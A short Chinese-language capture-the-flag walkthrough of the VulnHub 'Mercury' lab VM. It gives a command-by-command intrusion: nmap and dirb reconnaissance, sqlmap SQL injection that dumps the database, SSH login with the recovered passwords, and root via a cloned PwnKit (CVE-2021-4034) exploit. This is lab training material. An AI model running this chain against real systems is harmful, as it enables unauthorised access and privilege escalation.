今天实践的是vulnhub的Mercury镜像,
下载地址,https://download.vulnhub.com/theplanets/Mercury.ova,
先是用workstation导入,做地址扫描没扫到地址,
于是又用virtualbox导入,重新做地址扫描,
sudo netdiscover -r 192.168.1.0/24,这回有地址了,105就是,
再继续做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.1.105,
有web服务,做目录暴破,dirb http://192.168.1.105:8080,
浏览器访问http://192.168.1.105:8080/robots.txt,
浏览器继续访问http://192.168.1.105:8080/*,
浏览器再继续访问http://192.168.1.105:8080/mercuryfacts,
点击 Load a fact链接,http://192.168.1.105:8080/mercuryfacts/1/,
猜测可以SQL注入,上sqlmap,
sqlmap -u http://192.168.1.105:8080/mercuryfacts/ --dbs --batch,
继续dump数据库,
sqlmap -u http://192.168.1.105:8080/mercuryfacts/ -D mercury --dump-all --batch,
获取到用户名密码,webmaster/mercuryisthesizeof0.056Earths,
ssh登录,ssh [email protected],
不是root,需要提权,发现另一个用户名密码,
linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==,
密码需要base64解密,得到mercurymeandiameteris4880km,
echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d,
切用户,su linuxmaster,
虽然sudo -l发现root权限执行的程序, 但是没法利用,
寻找其它root权限的程序,find / -perm -u=s -type f 2>/dev/null,
/usr/lib/policykit-1/polkit-agent-helper-1值得关注,
从网上搜polkit,找到了提权的方案,
进入可写目录,cd /tmp,下载用于提权的代码,
git clone https://github.com/berdav/CVE-2021-4034,
编译,make,执行,./cve-2021-4034,id确认是root,